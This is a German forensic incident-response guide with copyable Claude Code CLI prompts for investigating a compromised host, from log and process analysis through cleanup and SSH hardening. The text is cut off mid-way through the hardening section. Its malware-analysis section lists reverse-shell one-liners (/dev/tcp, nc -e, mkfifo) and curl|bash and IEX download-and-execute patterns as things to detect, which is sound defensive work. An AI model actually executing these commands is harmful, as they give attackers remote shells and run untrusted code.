🇩🇪 DEUTSCH 🇬🇧 ENGLISH

Forensische Incident-Response-Guideline

Strukturierte Anleitung für die forensische Analyse mit Claude Code CLI nach Network Lockdown

> *Diese Guideline setzt voraus, dass der Network Lockdown bereits aktiviert ist und Claude Code CLI als einziger Kanal nach außen verfügbar ist. Alle Prompts sind direkt in Claude Code CLI kopierbar.*

Inhaltsverzeichnis

Quick Reference — Sofort-Prompts

Die 10 wichtigsten Prompts für den Notfall. Kopiere sie direkt in Claude Code CLI — kein langes Lesen nötig.

#	Prompt	Zweck
1	`Erstelle einen System-Snapshot: Hostname, OS-Version, Uptime, eingeloggte User, Kernel-Version. Speichere alles in /tmp/incident/snapshot.txt`	Erste Bestandsaufnahme
2	`Liste alle laufenden Prozesse mit PID, User, CPU%, MEM%, Startzeit und vollständigem Kommando. Markiere alles Verdächtige.`	Prozess-Übersicht
3	`Zeige alle aktiven Netzwerkverbindungen mit zugehörigen Prozessen. Markiere Verbindungen zu unbekannten externen IPs.`	Netzwerk-Überblick
4	`Durchsuche die Auth-Logs der letzten 72 Stunden auf fehlgeschlagene und erfolgreiche Logins, sudo-Nutzung und Account-Änderungen.`	Login-Analyse
5	`Finde alle Dateien die in den letzten 48 Stunden geändert oder erstellt wurden in /etc, /usr, /var, /tmp und Home-Verzeichnissen.`	Datei-Änderungen
6	`Prüfe alle Persistenz-Mechanismen: Cron-Jobs, systemd-Timer, Launch Agents/Daemons, Startup-Scripts, Shell-Profile, authorized_keys.`	Persistenz-Check
7	`Suche nach SUID/SGID-Binaries, World-writable Verzeichnissen und versteckten Dateien außerhalb von Standard-Pfaden.`	Privilege Escalation
8	`Analysiere alle SSH-Schlüssel auf dem System. Vergleiche authorized_keys mit bekannten Schlüsseln. Gibt es unbekannte Einträge?`	SSH-Audit
9	`Erstelle eine IOC-Liste (Indicators of Compromise): verdächtige IPs, Datei-Hashes, Dateinamen, User-Accounts, Timestamps.`	IOC-Sammlung

#	Prompt	Zweck
10	`Erstelle einen Incident-Report mit Timeline, Angriffsvektor, betroffenen Systemen, durchgeführten Maßnahmen und offenen Punkten.`	Dokumentation

Phase 1 — Lockdown & Erste Sichtung

Was wir tun und warum

Volatile Daten (RAM, Prozesse, Netzwerkverbindungen) gehen bei jedem Neustart verloren. Daher sichern wir sie **zuerst**, bevor wir mit der eigentlichen Analyse beginnen. Die Reihenfolge folgt dem RFC 3227 ("Order of Volatility").

Schritt 1: Lockdown aktivieren (falls noch nicht geschehen)

```
# macOS
sudo ./network-lockdown-mac.sh on

# Linux
sudo ./network-lockdown-linux.sh on

# Windows (PowerShell als Administrator)
.\network-lockdown-windows.ps1 on
```

Schritt 2: Arbeitsverzeichnis anlegen

> *Erstelle das Verzeichnis /tmp/incident mit Unterordnern für logs, processes, network, files, iocs und report. Setze die Berechtigungen auf 700.*

Schritt 3: System-Snapshot

> *Erstelle einen vollständigen System-Snapshot und speichere ihn in /tmp/incident/snapshot.txt. Erfasse: Hostname, OS-Version, Kernel-Version, Uptime, aktuelle Zeit (UTC und lokal), eingeloggte User, Last-Reboot-Zeitpunkt, installierte Kernel-Module, Mount-Points und Disk-Usage.*

Schritt 4: Volatile Daten sichern

> *Sichere die folgenden volatilen Daten in /tmp/incident/volatile/:*
>
> 1. *Komplette Prozessliste mit allen Details (ps auxww)*
> 2. *Alle Netzwerkverbindungen (netstat/ss mit Prozesszuordnung)*
> 3. *ARP-Cache*
> 4. *Routing-Tabelle*
> 5. *DNS-Cache (soweit möglich)*
> 6. *Offene Dateien (lsof)*
> 7. *Geladene Kernel-Module*
> 8. *Aktive Logins und Login-History*

Red Flags in dieser Phase

- **Uptime extrem kurz** — System wurde möglicherweise neu gestartet um Spuren zu verwischen
- **Unbekannte User eingeloggt** — möglicherweise Angreifer noch aktiv
- **Unbekannte Kernel-Module** — Rootkit-Indikator
- **Ungewöhnliche Mount-Points** — versteckte Partitionen oder Remote-Mounts

Plattform-Hinweise

Aspekt	macOS	Linux	Windows
Kernel-Module	`kextstat`	`lsmod`	`driverquery`
Offene Dateien	`lsof`	`lsof`	`handle.exe` (Sysinternals)
DNS-Cache	`sudo dscacheutil -cachedump`	`resolvectl statistics`	`Get-DnsClientCache`
System-Info	`system_profiler`	`/etc/os-release`	`systeminfo`

Phase 2 — Log-Analyse

Was wir tun und warum

Logs sind die primäre Beweisquelle. Sie zeigen wann, wie und durch wen ein System kompromittiert wurde. Wir analysieren sie systematisch — von Auth-Logs (Einbruchsweg) über System-Logs (Aktionen) bis zu Anwendungs-Logs (Nutzlast).

Auth-Logs analysieren

> *Durchsuche alle Authentifizierungs-Logs der letzten 7 Tage. Suche nach:*
>
> 1. *Fehlgeschlagene SSH-Login-Versuche (Brute Force?)*
> 2. *Erfolgreiche Logins von unbekannten IPs oder zu ungewöhnlichen Zeiten*
> 3. *sudo-Nutzung — wer hat wann root-Rechte genutzt?*
> 4. *su-Aufrufe — User-Wechsel*
> 5. *Account-Erstellungen oder -Änderungen*
> 6. *PAM-Meldungen Erstelle eine chronologische Zusammenfassung und speichere sie in /tmp/incident/logs/auth-analysis.txt*

System-Logs analysieren

> *Durchsuche die System-Logs der letzten 7 Tage auf verdächtige Einträge:*
>
> 1. *Service-Starts und -Stops (vor allem unbekannte)*
> 2. *Kernel-Meldungen (Segfaults, OOM, verdächtige Module)*
> 3. *Cron-Ausführungen*
> 4. *Package-Manager-Aktivitäten (wurde etwas installiert?)*
> 5. *Disk-Mounts und USB-Geräte Fasse die Ergebnisse zusammen und speichere sie in /tmp/incident/logs/system-analysis.txt*

Webserver-Logs (falls vorhanden)

> *Prüfe ob auf diesem System ein Webserver läuft (Apache, Nginx, IIS). Falls ja:*
>
> 1. *Durchsuche Access-Logs nach verdächtigen Requests (SQL Injection, Path Traversal, Command Injection, Webshell-Zugriffe)*
> 2. *Prüfe Error-Logs auf ungewöhnliche Fehler*
> 3. *Suche nach POST-Requests an ungewöhnliche Pfade*
> 4. *Suche nach User-Agents die auf Exploit-Tools hindeuten (sqlmap, nikto, dirb, gobuster) Speichere die Ergebnisse in /tmp/incident/logs/webserver-analysis.txt*

Red Flags in dieser Phase

- **Gelöschte oder geleerte Logs** — Angreifer verwischen Spuren
- **Lücken im Log-Zeitstrom** — Logs wurden möglicherweise manipuliert
- **Erfolgreiche Logins nach vielen Fehlversuchen** — Brute Force erfolgreich
- **sudo ohne bekannten Grund** — Privilege Escalation
- **Unbekannte Cron-Ausführungen** — Persistenz-Mechanismus
- **Webshell-Patterns** (z.B. `cmd=`, `exec=`, `c=whoami` in URLs)

Plattform-Hinweise

Log-Typ	macOS	Linux	Windows
Auth-Logs	`log show --predicate 'category == "auth"'`	`/var/log/auth.log` oder `journalctl -u sshd`	`Get-WinEvent -LogName Security`
System-Logs	`log show --predicate 'subsystem == "com.apple.system"'`	`journalctl` oder `/var/log/syslog`	`Get-WinEvent -LogName System`
Unified Logging	`log show --last 7d`	`journalctl --since "7 days ago"`	`Get-WinEvent`

Log-Typ	macOS	Linux	Windows
Webserver	`/usr/local/var/log/` (Homebrew)	`/var/log/apache2/` oder `/var/log/nginx/`	`C:\inetpub\logs\`

Phase 3 — Prozess-Forensik

Was wir tun und warum

Laufende Prozesse zeigen, was der Angreifer **gerade tut** oder welche Malware **aktiv ist**. Prozess-Forensik ist zeitkritisch — ein Prozess kann sich jederzeit beenden oder tarnen.

Verdächtige Prozesse identifizieren

> *Liste alle laufenden Prozesse mit PID, PPID, User, CPU%, MEM%, Startzeit, Laufzeit und vollständigem Kommando auf. Markiere folgende Kategorien als verdächtig:*
>
> 1. *Prozesse mit ungewöhnlich hoher CPU- oder Memory-Nutzung*
> 2. *Prozesse die als root laufen aber nicht zu bekannten System-Services gehören*
> 3. *Prozesse mit verdächtigen Namen (random strings, Tippfehler-Varianten von System-Tools)*
> 4. *Prozesse die von /tmp, /dev/shm oder anderen ungewöhnlichen Pfaden gestartet wurden*
> 5. *Prozesse ohne zugehörige Binary auf der Festplatte Speichere die vollständige Liste in /tmp/incident/processes/full-list.txt und die verdächtigen separat in /tmp/incident/processes/suspicious.txt*

Prozess-Baum analysieren

> *Erstelle einen Prozess-Baum (Parent-Child-Beziehungen) für alle verdächtigen Prozesse. Zeige den vollständigen Pfad von init/launchd/PID 1 bis zum verdächtigen Prozess. Achte besonders auf:*
>
> 1. *Shell-Prozesse die von Webservern gestartet wurden (Webshell-Indikator)*
> 2. *Prozesse die von cron gestartet wurden aber nicht in crontab stehen*
> 3. *Ungewöhnliche Parent-Prozesse (z.B. ein Python-Script gestartet von einem PDF-Viewer)*

Offene Dateien und Sockets pro Prozess

> *Für jeden verdächtigen Prozess: Zeige alle offenen Dateien, Netzwerk-Sockets und Pipes. Achte besonders auf:*
>
> 1. *Offene Verbindungen zu externen IPs*
> 2. *Lauschende Sockets auf ungewöhnlichen Ports*
> 3. *Offene Dateien in /tmp oder anderen verdächtigen Verzeichnissen*
> 4. *Memory-mapped Files*

Gelöschte aber laufende Prozesse (Linux)

> *Prüfe unter /proc/*/exe auf Prozesse deren Binary gelöscht wurde (zeigt "(deleted)" im Symlink). Das ist ein starker Malware-Indikator — der Angreifer hat die Datei gelöscht um Spuren zu verwischen, aber der Prozess läuft noch. Für jeden solchen Prozess: Sichere den Memory-Inhalt via /proc/PID/maps und die Binary via /proc/PID/exe nach /tmp/incident/processes/recovered/*

Red Flags in dieser Phase

- **Prozess-Binary gelöscht** — fast sicher Malware
- **Shell gestartet von Webserver** (apache/www-data → /bin/sh) — Webshell
- **Crypto-Mining-Patterns** (hohe CPU, Prozessname wie xmrig, minerd, kdevtmpfsi)

- **Reverse-Shell-Patterns** (bash/nc/python mit Netzwerk-Socket)
- **Prozess hat keinen Parent** (PPID=1 aber kein Daemon) — re-parented nach Angreifer-Logout

Plattform-Hinweise

Aspekt	macOS	Linux	Windows
Prozess-Liste	`ps auxww`	`ps auxww`	`Get-Process | Select *`
Prozess-Baum	`pstree` (Homebrew)	`pstree -p`	`Get-CimInstance Win32_Process`
Offene Dateien	`lsof -p PID`	`lsof -p PID` oder `/proc/PID/fd/`	`handle.exe -p PID`
Deleted Binary	N/A	`ls -la /proc/PID/exe`	N/A
Memory Dump	`lldb`	`/proc/PID/mem`	`procdump.exe -ma PID`

Phase 4 — Netzwerk-Forensik

Was wir tun und warum

Netzwerk-Artefakte zeigen wohin der Angreifer Daten geschickt hat (Exfiltration), woher er Befehle empfängt (C2) und ob er sich lateral im Netzwerk bewegt. Der Lockdown blockiert aktive Verbindungen — aber die Spuren bleiben.

Aktive Verbindungen und Listening Ports

> *Zeige alle aktiven TCP- und UDP-Verbindungen sowie alle lauschenden Ports. Für jede Verbindung: Prozess-Name, PID, lokale und Remote-Adresse, Zustand. Markiere:*
>
> 1. *Verbindungen zu bekannten bösartigen IP-Ranges*
> 2. *Lauschende Ports die nicht zu bekannten Services gehören*
> 3. *Verbindungen im Zustand ESTABLISHED zu unbekannten Zielen*
> 4. *Hohe Port-Nummern als Listener (Backdoor-Indikator) Speichere in /tmp/incident/network/connections.txt*

ARP-Cache und Neighbor-Table

> *Sichere den ARP-Cache (IPv4) und die Neighbor-Table (IPv6). Diese zeigen welche anderen Geräte im lokalen Netzwerk mit diesem System kommuniziert haben. Achte auf:*
>
> 1. *Unbekannte MAC-Adressen*
> 2. *IP-Adressen die nicht ins Netzwerk-Schema passen*
> 3. *Mehrere IPs auf derselben MAC (ARP-Spoofing-Indikator) Speichere in /tmp/incident/network/arp-cache.txt*

DNS-Cache analysieren

> *Sichere und analysiere den DNS-Cache. DNS-Anfragen verraten welche Domänen der Angreifer kontaktiert hat — auch wenn die Verbindung längst geschlossen ist. Suche nach:*
>
> 1. *Verdächtigen Domänen (DGA-Patterns: lange Zufallsstrings)*
> 2. *Bekannten C2-Domänen*
> 3. *DNS-Tunneling-Indikatoren (ungewöhnlich lange Subdomänen)*
> 4. *Domänen die auf dieselbe IP auflösen wie bekannte Malware Speichere in /tmp/incident/network/dns-cache.txt*

Routing-Tabelle prüfen

> *Zeige die aktuelle Routing-Tabelle und vergleiche sie mit einer Standard-Konfiguration. Achte auf:*
>
> 1. *Unbekannte statische Routen (Traffic-Umleitung)*
> 2. *Geänderte Default-Route (Man-in-the-Middle)*
> 3. *Policy-basierte Routen die nicht konfiguriert wurden*

Firewall-Regeln prüfen

> *Zeige die aktuellen Firewall-Regeln OHNE die Network-Lockdown-Regeln. Wurden vor dem Lock-down Regeln manipuliert? Achte auf:*
>
> 1. *Allow-Regeln für unbekannte Ports oder IPs*
> 2. *Deaktivierte Default-Deny-Regeln*
> 3. *Regeln die kürzlich geändert wurden*

Red Flags in dieser Phase

- **Verbindung zu bekannten C2-IPs** (Tor Exit Nodes, bekannte Malware-IPs)
- **Listening Port auf High-Port** (z.B. 4444, 5555, 8888, 9999) — Reverse Shell
- **DNS-Anfragen mit langen Subdomänen** — DNS-Tunneling/Exfiltration
- **Geänderte Routing-Tabelle** — Traffic wird umgeleitet
- **ARP-Einträge mit doppelten MACs** — ARP-Spoofing im LAN

Plattform-Hinweise

Aspekt	macOS	Linux	Windows
Verbindungen	`netstat -anv` oder `lsof -i`	`ss -tulpn` oder `netstat -tulpn`	`Get-NetTCPConnection`

Aspekt	macOS	Linux	Windows
ARP-Cache	`arp -a`	`ip neigh show`	`Get-NetNeighbor`
DNS-Cache	`dscacheutil -cachedump`	`resolvectl query` (begrenzt)	`Get-DnsClientCache`
Routing	`netstat -rn`	`ip route show`	`Get-NetRoute`
Firewall	`pfctl -sr`	`iptables -L -n -v`	`Get-NetFirewallRule`

Phase 5 — Dateisystem-Analyse

Was wir tun und warum

Das Dateisystem enthält die dauerhaften Spuren eines Angriffs: Malware-Binaries, modifizierte Konfigurationen, Exfiltrations-Staging, Webshells und Backdoors. Wir suchen systematisch nach Anomalien.

Kürzlich geänderte Dateien

> *Finde alle Dateien die in den letzten 48 Stunden geändert (mtime) oder erstellt wurden. Durchsuche diese Verzeichnisse:*
>
> - */etc (Konfigurationen)*
> - */usr/local/bin, /usr/bin, /usr/sbin (Binaries)*
> - */var (Logs, Webserver-Daten)*
> - */tmp, /var/tmp (Temporäre Dateien)*
> - */home und /root (User-Verzeichnisse)*
> - */opt (Third-Party-Software) Ignoriere bekannte Log-Rotation und Package-Manager-Aktivitäten. Speichere in /tmp/incident/files/recently-modified.txt*

Versteckte Dateien und Verzeichnisse

> *Suche nach versteckten Dateien und Verzeichnissen (beginnend mit .) außerhalb von Standard-Pfaden. Achte besonders auf:*
>
> 1. *Versteckte Verzeichnisse in /tmp, /var/tmp, /dev/shm*
> 2. *Versteckte Dateien in Webserver-Root-Verzeichnissen*
> 3. *Versteckte Dateien mit ausführbaren Berechtigungen*
> 4. *Dotfiles in Home-Verzeichnissen die nicht zu bekannten Programmen gehören*

SUID/SGID-Binaries

> *Finde alle SUID- und SGID-Dateien auf dem System. Vergleiche die Liste mit Standard-SUID-Binaries der Distribution. Markiere:*
>
> 1. *SUID-Binaries außerhalb von /usr/bin, /usr/sbin, /usr/lib*
> 2. *Kürzlich erstellte SUID-Binaries*
> 3. *SUID-Binaries mit ungewöhnlichen Namen*
> 4. *SUID-Binaries die nicht zur installierten Package-Liste gehören Speichere in /tmp/incident/files/suid-sgid.txt*

World-Writable Verzeichnisse und Dateien

> *Finde World-writable Verzeichnisse und Dateien außerhalb von /tmp und /var/tmp. Das sind potenzielle Drop-Zones für Malware oder Staging-Bereiche für Exfiltration.*

Temp-Verzeichnisse durchsuchen

> *Durchsuche /tmp, /var/tmp, /dev/shm (Linux) und andere temporäre Verzeichnisse gründlich:*
>
> 1. *Ausführbare Dateien*
> 2. *Script-Dateien (sh, py, pl, rb, php)*
> 3. *Komprimierte Archive (tar, gz, zip) — Exfiltrations-Staging?*
> 4. *Core-Dumps (können Credentials enthalten)*
> 5. *Socket-Dateien (lokale Kommunikation)*

Ungewöhnlich große Dateien

> *Finde Dateien größer als 100 MB die in den letzten 7 Tagen erstellt wurden. Große Dateien können auf Datensammlung für Exfiltration, Crypto-Mining-Software oder gestohlene Datenbanken hindeuten.*

Datei-Integrität prüfen

> *Falls ein Package-Manager vorhanden ist, prüfe ob installierte System-Binaries manipuliert wurden:*
>
> - *Debian/Ubuntu: dpkg --verify*
> - *RHEL/CentOS: rpm -Va*
> - *macOS: Vergleich mit bekannten Checksummen Jede abweichende Binary ist ein starker Kompromittierungs-Indikator.*

Red Flags in dieser Phase

- **SUID-Binary in /tmp** — fast sicher Privilege-Escalation-Tool
- **Ausführbare Dateien in /dev/shm** — reines RAM-Dateisystem, beliebt für Malware
- **Veränderte System-Binaries** (ls, ps, netstat, ss) — Rootkit

- **Große tar.gz in /tmp** — Daten vorbereitet für Exfiltration
- **Versteckte Verzeichnisse in /var/www** — Webshell-Versteck
- **Core-Dumps mit Credentials** — Angreifer hat diese möglicherweise erzeugt

Plattform-Hinweise

Aspekt	macOS	Linux	Windows
Kürzlich geändert	`find / -mtime -2 -type f`	`find / -mtime -2 -type f`	`Get-ChildItem -Recurse | Where LastWriteTime -gt (Get-Date).AddDays(-2)`
SUID-Dateien	`find / -perm -4000`	`find / -perm -4000`	N/A (nutze `icacls` für Rechte)
Versteckte Dateien	`find / -name ".*"`	`find / -name ".*"`	`Get-ChildItem -Hidden -Recurse`
Package-Verify	N/A	`dpkg --verify` / `rpm -Va`	`sfc /scannow`
Temp-Pfade	`/tmp`, `/private/tmp`	`/tmp`, `/var/tmp`, `/dev/shm`	`$env:TEMP`, `C:\Windows\Temp`

Phase 6 — Persistenz-Mechanismen

Was wir tun und warum

Angreifer wollen den Zugang nach einem Neustart behalten. Dafür installieren sie Persistenz-Mechanismen — automatische Startpunkte die ihre Malware oder ihren Zugang reaktivieren. Wir müssen **alle** finden und entfernen.

Cron Jobs und Timer

> *Prüfe alle Cron-Jobs auf dem System:*
>
> 1. *User-Crontabs: crontab -l für jeden User*
> 2. *System-Crontabs: /etc/crontab*
> 3. *Cron-Verzeichnisse: /etc/cron.d/, /etc/cron.daily/, /etc/cron.hourly/, /etc/cron.weekly/, /etc/cron.monthly/*
> 4. *at-Queue: atq*
> 5. *systemd Timer: systemctl list-timers --all (Linux) Markiere alle Einträge die nicht zu bekannten System-Services gehören. Speichere in /tmp/incident/files/persistence-cron.txt*

Startup-Scripts und Launch Agents

> *Prüfe alle Autostart-Mechanismen:*
>
> *macOS:*
>
> - */Library/LaunchDaemons/ (System-weit, als root)*
> - */Library/LaunchAgents/ (System-weit, als User)*
> - *~/Library/LaunchAgents/ (pro User)*
> - */System/Library/LaunchDaemons/ (Apple — sollte nicht verändert sein)*
> - *Login Items (osascript)*
>
> *Linux:*
>
> - */etc/init.d/*
> - */etc/systemd/system/ (custom Services)*
> - */usr/lib/systemd/system/ (Package-Services)*
> - */etc/rc.local*
> - *~/.config/autostart/ (Desktop)*
>
> *Windows:*
>
> - *HKLM|SOFTWARE|Microsoft|Windows|CurrentVersion|Run*
> - *HKCU|SOFTWARE|Microsoft|Windows|CurrentVersion|Run*
> - *Startup-Ordner*
> - *Scheduled Tasks (schtasks /query)*
>
> *Markiere alle unbekannten Einträge.*

Shell-Profile

> *Prüfe alle Shell-Konfigurationsdateien auf injizierte Befehle:*
>
> 1. */etc/profile, /etc/bash.bashrc, /etc/zshrc (System-weit)*
> 2. *~/.bashrc, ~/.bash_profile, ~/.zshrc, ~/.profile für jeden User*
> 3. *~/.ssh/rc (wird bei jedem SSH-Login ausgeführt!)*
> 4. */etc/environment (Umgebungsvariablen) Suche nach: curl/wget-Aufrufen, Base64-dekodierten Ausführungen, Reverse-Shell-Payloads, unbekannten Source-Anweisungen.*

SSH authorized_keys

> *Prüfe ~/.ssh/authorized_keys für jeden User auf dem System. Achte auf:*
>
> 1. *Unbekannte Schlüssel (vergleiche Fingerprints)*
> 2. *Schlüssel mit command="..." — erzwingt die Ausführung eines Befehls bei Login*
> 3. *Schlüssel mit no-pty, from="..." oder anderen Einschränkungen/Erweiterungen*
> 4. *Kürzlich hinzugefügte Schlüssel (Dateizeitstempel)*

Kernel-Module und Extensions

> *Prüfe geladene Kernel-Module auf Unbekanntes:*
>
> - *Linux: lsmod, /lib/modules/, modinfo für verdächtige Module*
> - *macOS: kextstat, /Library/Extensions/, /System/Library/Extensions/ Kernel-Module mit Root-Zugang können alles verstecken (Rootkit).*

Red Flags in dieser Phase

- **Cron-Job mit Base64-dekodierter Ausführung** — verschleierte Malware
- **Launch Agent mit kryptischem Namen** — Persistenz-Implant

- **authorized_keys mit command=""** — erzwungene Backdoor-Ausführung
- **Shell-Profile mit curl|bash** — Download-and-Execute bei jedem Login
- **Unbekanntes Kernel-Modul** — möglicherweise Rootkit
- **systemd Service der eine Binary aus /tmp startet** — Malware-Persistenz

---

Phase 7 — Benutzerkonten & Zugriffsrechte

Was wir tun und warum

Angreifer erstellen oft neue Accounts, eskalieren Rechte bestehender Accounts oder manipulieren die sudo-Konfiguration. Wir prüfen alle Konten und Zugriffsrechte auf Anomalien.

Unbekannte oder neue Benutzer

> *Analysiere /etc/passwd und /etc/shadow (Linux/macOS) oder SAM-Datenbank (Windows):*
>
> 1. *Gibt es Accounts die nach der vermuteten Kompromittierung erstellt wurden?*
> 2. *Gibt es Accounts mit ungewöhnlichen UIDs (z.B. UID 0 außer root)?*
> 3. *Gibt es Accounts ohne Passwort oder mit leerem Passwort?*
> 4. *Gibt es Accounts mit Login-Shell die System-Accounts sein sollten (z.B. www-data mit /bin/bash statt /usr/sbin/nologin)?*
> 5. *Prüfe /etc/group auf ungewöhnliche Gruppen-Mitgliedschaften (sudo, wheel, admin)*

UID-0-Accounts

> *Suche alle Accounts mit UID 0 (Root-Äquivalent). Auf einem sauberen System sollte nur der root-Account UID 0 haben. Jeder weitere Account mit UID 0 ist ein starker Kompromittierungs-Indikator.*

Sudo-Konfiguration prüfen

> *Analysiere die sudo-Konfiguration (/etc/sudoers und /etc/sudoers.d/*):*
>
> 1. *Wer hat passwortloses sudo (NOPASSWD)?*
> 2. *Gibt es ALL-Rechte für nicht-administrative User?*
> 3. *Wurden kürzlich Einträge hinzugefügt?*
> 4. *Gibt es Einträge die Shell-Escape ermöglichen (z.B. sudo vi, sudo less)?*

Letzte Logins und Login-Verläufe

> *Analysiere die Login-Historie:*
>
> 1. *last — letzte Logins aller User*
> 2. *lastb — fehlgeschlagene Login-Versuche*
> 3. *lastlog — letzter Login jedes Users*
> 4. *wtmp/utmp — Login-Aufzeichnungen Achte auf: Logins zu ungewöhnlichen Zeiten, Logins von unbekannten IPs, User die sich normalerweise nicht direkt einloggen.*

SSH-Schlüssel-Audit

> *Führe ein vollständiges SSH-Audit durch:*
>
> 1. *Host-Keys: Wurden /etc/ssh/ssh_host_* kürzlich geändert?*
> 2. *User-Keys: Gibt es private Schlüssel die nicht passwortgeschützt sind?*
> 3. *known_hosts: Wurden Einträge manipuliert (Hash-Vergleich)?*
> 4. *SSH-Daemon-Konfiguration (/etc/ssh/sshd_config): PermitRootLogin, PasswordAuthentication, AuthorizedKeysFile — Abweichungen vom Soll?*

Red Flags in dieser Phase

- **Zweiter Account mit UID 0** — Backdoor-Account
- **System-Account mit Login-Shell** — wurde für interaktiven Zugang missbraucht
- **NOPASSWD sudo für unbekannten User** — Privilege-Escalation-Persistenz
- **Logins um 3:00 Uhr nachts von ausländischen IPs** — Angreifer aktiv
- **Host-Keys kürzlich geändert** — möglicherweise MITM-Angriff
- **PermitRootLogin yes** — SSH-Härtung fehlt oder wurde rückgängig gemacht

---

Phase 8 — Malware-Analyse

Was wir tun und warum

Wenn wir verdächtige Dateien gefunden haben, analysieren wir sie um zu verstehen was sie tun, wie sie kommunizieren und ob sie zu bekannter Malware gehören. Dies ist eine **statische Analyse** — wir führen nichts aus.

Statische Analyse

> *Für jede verdächtige Datei, führe folgende statische Analyse durch:*
>
> 1. *File-Type: file — stimmt der Typ mit der Endung überein?*
> 2. *Strings: strings — extrahiere lesbare Strings (IPs, URLs, Befehle, Fehlermeldungen)*
> 3. *Checksummen: sha256sum — für spätere IOC-Liste und VirusTotal-Abfrage*
> 4. *Dateigrösse und Timestamps: ls -la*
> 5. *ELF-Header (Linux): readelf -h*
> 6. *Mach-O-Header (macOS): otool -h Speichere die Ergebnisse in /tmp/incident/files/malware-analysis/*

Bekannte Malware-Patterns erkennen

> *Durchsuche verdächtige Dateien und Scripts auf bekannte Malware-Patterns:*
>
> ***Reverse Shells:***
>
> - `bash -i >& /dev/tcp/IP/PORT`
> - `python -c 'import socket,subprocess,os...'`
> - `nc -e /bin/sh IP PORT`
> - `perl -e 'use Socket;...'`
> - `php -r '$sock=fsockopen(...)...'`
> - `ruby -rsocket -e '...'`
> - `mkfifo /tmp/f; cat /tmp/f | /bin/sh`
>
> ***Crypto Miner:***
>
> - *xmrig, minerd, kdevtmpfsi*
> - *Stratum-Protokoll:* `stratum+tcp://`
> - *Mining-Pool-Domains*
>
> ***Webshells:***
>
> - *PHP:* `eval()`, `system()`, `exec()`, `passthru()`, `shell_exec()`, `base64_decode()`
> - *JSP:* `Runtime.getRuntime().exec()`
> - *ASP:* `eval`, `execute`, `CreateObject("WScript.Shell")`
>
> ***Downloaders:***
>
> - `curl | bash`, `wget -O- | sh`
> - `python -c "import urllib..."`
> - *PowerShell:* `IEX(New-Object Net.WebClient).DownloadString()`

Encoded/Obfuscated Payloads

> *Suche nach verschleierten Payloads in verdächtigen Dateien und Scripts:*
>
> 1. *Base64-kodierte Strings (länger als 50 Zeichen)*
> 2. *Hex-kodierte Strings*
> 3. *ROT13 oder XOR-verschlüsselte Inhalte*
> 4. *Doppelt oder dreifach verschachtelte Kodierung*
> 5. *Variable-Name-Obfuscation (z.B.* `$_ = chr(115).chr(121)...` *) Falls gefunden: Dekodiere die Payloads und analysiere den Klartext.*

Red Flags in dieser Phase

- **ELF-Binary getarnt als Textdatei** — Umbenennung zur Tarnung
- **Strings enthalten bekannte C2-URLs oder IPs**
- **Base64 in Crontab oder Shell-Profilen** — verschleierte Payload
- **Statisch gelinkte Binary** (keine Abhängigkeiten) — portables Angriffs-Tool
- **UPX-gepackte Binary** — Anti-Analyse-Technik
- **PHP-Datei mit extrem langem Base64-String** — Webshell

Phase 9 — Bereinigung & Remediation

Was wir tun und warum

Nachdem wir den Angriff verstanden haben, beseitigen wir alle Artefakte. **Wichtig:** Erst bereinigen wenn die Analyse abgeschlossen ist — sonst gehen Beweise verloren.

Schadhafte Dateien sicher löschen

> *Lösche die identifizierten Malware-Dateien sicher. Verwende:*
>
> - *Linux:* `shred -vfz -n 3 <datei>`
> - *macOS:* `rm -P <datei>` *(oder gshred aus coreutils)*
> - *Windows:* `cipher /w:Verzeichnis` *(nach normalem Löschen)*
>
> *Lösche folgende Kategorien:*
>
> 1. *Identifizierte Malware-Binaries*
> 2. *Webshells*
> 3. *Backdoor-Scripts*
> 4. *Exfiltrations-Archive in /tmp*
> 5. *Angreifer-Tools Dokumentiere jeden Löschvorgang mit Pfad, SHA256-Hash und Zeitstempel.*

Kompromittierte Accounts

> *Sperre oder lösche alle kompromittierten und vom Angreifer erstellten Accounts:*
>
> 1. *Vom Angreifer erstellte Accounts:* `userdel -r <user>`
> 2. *Kompromittierte Accounts:* `passwd -l <user>` *(sperren), dann Passwort ändern*
> 3. *UID-0-Backdoor-Accounts: sofort löschen*
> 4. *Alle Passwort-Hashes kompromittierter Accounts als IOC dokumentieren*

SSH-Keys rotieren

> *Rotiere alle SSH-Schlüssel auf dem System:*
>
> 1. *Host-Keys neu generieren:* `ssh-keygen -A`
> 2. *Alle User-authorized_keys bereinigen — nur bekannte, verifizierte Keys behalten*
> 3. *Kompromittierte private Schlüssel löschen und neu generieren*
> 4. *known_hosts aller User bereinigen*

Backdoors und Persistenz entfernen

> *Entferne alle identifizierten Persistenz-Mechanismen:*
>
> 1. *Schadhafte Cron-Jobs löschen*
> 2. *Malware-Launch-Agents/Daemons entfernen (macOS)*
> 3. *Schadhafte systemd-Services deaktivieren und löschen (Linux)*
> 4. *Manipulierte Shell-Profile bereinigen*
> 5. *Schadhafte Kernel-Module entladen und löschen*
> 6. *Registry-Einträge bereinigen (Windows) Dokumentiere jede Änderung.*

Manipulierte Konfigurationen zurücksetzen

> *Setze alle manipulierten Konfigurationen auf sichere Defaults zurück:*
>
> 1. */etc/ssh/sshd_config — sichere SSH-Konfiguration*
> 2. */etc/sudoers — nur notwendige Einträge*
> 3. */etc/hosts — keine schadhaften DNS-Umleitungen*
> 4. */etc/resolv.conf — korrekte DNS-Server*
> 5. *Webserver-Konfiguration — falls manipuliert*
> 6. *Firewall-Regeln — alle Angreifer-Regeln entfernen*

Betroffene Services neu starten

> *Starte alle Services neu die von der Bereinigung betroffen sind:*
>
> 1. *sshd (nach Key-Rotation und Config-Änderung)*
> 2. *Webserver (nach Webshell-Entfernung)*
> 3. *Cron-Daemon (nach Crontab-Bereinigung)*
> 4. *Syslog (sicherstellen dass Logging wieder funktioniert)*

Phase 10 — Härtung

Was wir tun und warum

Nach der Bereinigung härten wir das System, damit der gleiche Angriffsvektor nicht erneut funktioniert. Härtung sollte pragmatisch sein — nur Maßnahmen die den spezifischen Angriff und gängige Vektoren abdecken.

System-Updates

> *Prüfe ob Sicherheits-Updates verfügbar sind und installiere sie:*
>
> - *Debian/Ubuntu:* `apt update && apt upgrade -y`
> - *RHEL/CentOS:* `dnf update -y`
> - *macOS:* `softwareupdate -ia`
> - *Windows:* `Install-WindowsUpdate` *(PSWindowsUpdate-Modul)* ***Hinweis:*** *Für Updates muss der Lockdown temporär deaktiviert oder die Update-Server in die Whitelist aufgenommen werden.*

SSH härten

> *Härte die SSH-Konfiguration in /etc/ssh/sshd_config:*
>
> ```
> PermitRootLogin no
> PasswordAuthentication no
> PubkeyAuthentication yes
> MaxAuthTries 3
